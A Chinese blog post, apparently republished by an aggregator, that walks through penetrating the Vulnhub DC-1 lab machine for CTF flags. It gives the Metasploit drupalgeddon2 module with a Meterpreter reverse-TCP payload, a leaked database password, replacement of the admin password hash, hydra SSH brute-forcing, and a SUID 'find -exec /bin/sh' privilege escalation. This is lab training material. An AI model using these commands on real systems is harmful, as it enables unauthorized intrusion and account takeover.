靶机渗透DC-1

Posted for.better

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了靶机渗透DC-1相关的知识,希望对你有一定的参考价值。


前言

记录学习中。。。


一、环境准备

Vmware workstation
靶机和攻击机放到同一虚拟网卡中。

1.攻击者:kali

这个就不介绍了。。。

2.靶机:DC-1

主要安全隐患:使用存在安全漏洞的cms:drupal,使用默认80端口开启了后台管理界面。
开启ssh服务,suid权限分配不合理。。。

3.使用到的工具

nmap:信息收集
wappalyzer: 网站信息检测
msfconsole:漏洞利用、渗透攻击。
hydra:暴力破解

二、实验步骤

1、信息收集、主机、端口探测

获取DC-1的IP:192.168.183.140

端口扫描:开启了ssh服务和http服务,也扫描出一些二级目录。

2、网站信息收集,cms、web服务器、后台编程语言、操作系统等

访问目标开放的web端口,发现cms是Drupal7。Drupal是开源的网站内容管理系统,已有漏洞。

3、漏洞利用,获取shell

使用kali自带的msf进行漏洞利用。
命令search drupal 7.x 查看7版本的漏洞利用模块

1.调用漏洞模块:use exploit/unix/webapp/drupal_drupalgeddon2
2.载入攻击模块:set payload php/meterpreter/reverse_tcp,使用TCP反弹链接
3.设置攻击对象:set RHOSTS 192.168.183.140
4.开始攻击:exploit

成功进入目标系统


利用python调出交互式shell界面,更加直观。

查看var/www/目录下文件,获取flag1,查看flag1.txt,提示配置文件。

寻找配置文件,查看web.config,暂时没有可用信息。

一番查看后在sites\\default\\settings.php中获取flag2 。

意外收获,获取疑似数据库信息。dbuser:R0ck3t

4、数据库渗透,破解管理员admin密码

查看到数据库服务已开启。

尝试链接到数据库,成功链接。

进入数据库,查看一番。

information_schema是mysql的原生数据库,查看drupaldb,发现users表,并在表中发现admin用户信息。

显然若破解admin密码,就能登录web后台管理网页了。
破解密码的方式:1.爆破 2.替换密码加密内容 爆破太慢了,想办法替换。
一番收索后了解到drupal加密数据库密码的脚本就放在/var/www下。
好家伙,退出数据库,去/var/www。找到了password-hash.sh。

我们现在是已经进入到shell了对吧,那不就可以直接执行password-hash.sh生成一段hash密文了嘛。
怎么执行呢?
还记得第一步信息收集到的网站信息吗 后端用的是php。嗯,php牛🍺。

生成hash密文,替换到数据库中。

5、登录web后台管理网页

利用上一步破解到的admin账户登录web后台管理网页。获取flag3

到此,思路就断了,因为flag3啥提示也没有。

但是,我知道怎么继续下去,其实在获取shell时我就知道flag4在哪了🤣。当然是为了文章顺序才在此处提到。

渗透时有个思路:获取shell后,这三个文件必查看。
/etc/passwd、/etc/group、/etc/shadow,当然shadow文件一般只有root能看。因为里面存放的是用户密码信息。好,继续。

6、ssh爆破登录

在/etc/passwd 中发现flag4,它是个用户,还有登录权限。为啥能登录?因为/bin/bash,此处不多说了。

好,既然flag4是用户,那flag4大概率在其家目录中。果不其然。

直接cat flag4.txt,竟然能查看,还以为只有flag4用户有权限查看🤣,提示用同样的方法获取root目录下的flag。

到此falg4已经获取到了!

但是,flag4是可以登录的,那就尝试一下破解它的密码。怎么利用呢,还记得用nmap扫描目标时发现其开启了ssh服务吗?这时就可以登录ssh了,当然有的小伙伴可能在想前面获取得admin用户,dbuser用户能不能登录ssh? 好吧,不行。因为这两个用户时mysql用户而非系统用户。

破解flag4的密码。这时可以使用爆破大哥hydra破解密码。用户名已经知道了,只需编写密码字典即可。

成功获取flag4的密码,登录。

7、提权root

提权就简单了,直接找有root权限的命令字:find / -perm -4000 2>/dev/null

find 命令就有root权限,而fand可以拼接命令。
通过find /bin -exec “/bin/sh” \\; 提权。

获取final flag

总结

肝到这已经没多余力气说啥了😭,文中案例是在人家已经设计好的模式下渗透,长此以往,可能形成固定思维,当碰到变化时可能会蒙,所以记得多加思考,琢磨尝试多种不同的方法思路。

以上是关于靶机渗透DC-1的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试学习之靶机DC-2

靶机渗透DC-1

DC-1靶机渗透(教程以及思路)

Vulnhub靶场渗透-DC-1

靶机渗透HACKME: 1

靶机渗透HACKME: 1